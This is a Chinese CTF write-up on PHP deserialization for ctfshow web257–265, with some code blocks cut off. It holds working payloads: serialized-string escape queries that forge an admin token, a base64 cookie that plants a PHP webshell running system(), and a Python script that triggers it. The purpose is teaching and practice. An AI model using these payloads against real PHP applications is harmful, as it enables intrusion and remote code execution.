您当前的位置: 首页 > 

Snakin_ya

暂无认证

  • 3浏览

    0关注

    107博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

ctfshow—反序列化

Snakin_ya 发布时间:2021-11-15 14:26:25 ,浏览量:3

简介

序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。

php 将数据序列化和反序列化会用到两个函数

serialize 将对象格式化成有序的字符串

unserialize 将字符串还原成原来的对象

序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。

常见的魔术方法
__construct(),类的构造函数
 
__destruct(),类的析构函数
 
__call(),在对象中调用一个不可访问方法时调用
 
__callStatic(),用静态方式中调用一个不可访问方法时调用
 
__get(),获得一个类的成员变量时调用
 
__set(),设置一个类的成员变量时调用
 
__isset(),当对不可访问属性调用isset()或empty()时调用
 
__unset(),当对不可访问属性调用unset()时被调用。
 
__sleep(),执行serialize()时,先会调用这个函数
 
__wakeup(),执行unserialize()时,先会调用这个函数
 
__toString(),类被当成字符串时的回应方法
 
__invoke(),调用函数的方式调用一个对象时的回应方法
 
__set_state(),调用var_export()导出类时,此静态方法会被调用。
 
__clone(),当对象复制完成时调用
 
__autoload(),尝试加载未定义的类
 
__debugInfo(),打印所需调试信息
常见的序列化格式

了解即可

二进制格式
字节数组
json字符串
xml字符串

学习路线:推荐y4师傅写的反序列化

web257
';
}
$a=new ctfshowvip();
echo urlencode(serialize($a));

在写入webshell之后再用蚁剑连接,最后在根目录发现flag_is_here文件,打开即得到flag。

web262(反序列化字符逃逸)
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

message.php

highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

• PHP 在反序列化时,对类中不存在的属性也会进行反序列化 • PHP 在反序列化时,底层代码是以 ;作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的

梳理代码内容,我们发现有一个正则表达式把fuck变成loveU,也就是多了一个字符,而最终我们需要token的值为admin,那么需要如下形式:

";s:5:"token";s:5:"admin";}

由于我们在to中插入字符串,需要闭合前后字符。然后我们需要27个fuck来获得27的长度,构造:

?f=1&m=2&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
web 263(session反序列化)

考点:php session反序列化

php引擎的存储格式是键名|serialized_string,而php_serialize引擎的存储格式是serialized_string。如果程序使用两个引擎来分别处理的话就会出现问题

session.serialize_handler( 5.5.4前默认是php;5.5.4后改为php_serialize)存在以下几种

    php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
    php 键名+竖线(|)+经过serialize()函数处理过的值
    php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化

学习路线:https://www.scuctf.com/ctfwiki/web/5.unserialize/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#_11

存在一个源码泄露www.zip,查看关键代码

index.php

';
    public $status='cosmos';

}
$a=new User();
echo base64_encode('|'.serialize($a));

首先访问index.php,然后改cookie,再刷新一次index.php,再访问一次check.php,这样马就写好了,然后RCE即可。

脚本(南方师傅)

import requests
url = "http://06573677-b16d-4788-a60d-2f244b945cd1.challenge.ctf.show:8080/"
cookies = {"PHPSESSID": "g3us2rlfsn3q3fkahcja154gs8", "limit": "fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czoxMDoiZG90YXN0LnBocCI7czo4OiJwYXNzd29yZCI7czozMToiPD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/PiI7czo2OiJzdGF0dXMiO3M6NjoiZG90YXN0Ijt9"}
res1 = requests.get(url + "index.php", cookies=cookies)

res2 = requests.get(url + "inc/inc.php", cookies=cookies)

res3 = requests.get(url + "log-dotast.php", cookies=cookies)
print(res3.text)
web264(反序列化字符逃逸)
error_reporting(0);
session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

注释中有message.php

session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

和262差不多,注意在访问message.php时需要cookie中的msg有值

?f=1&m=2&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
web265(变量引用)
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

构造

            
关注
打赏
1650510800
查看更多评论
0.0486s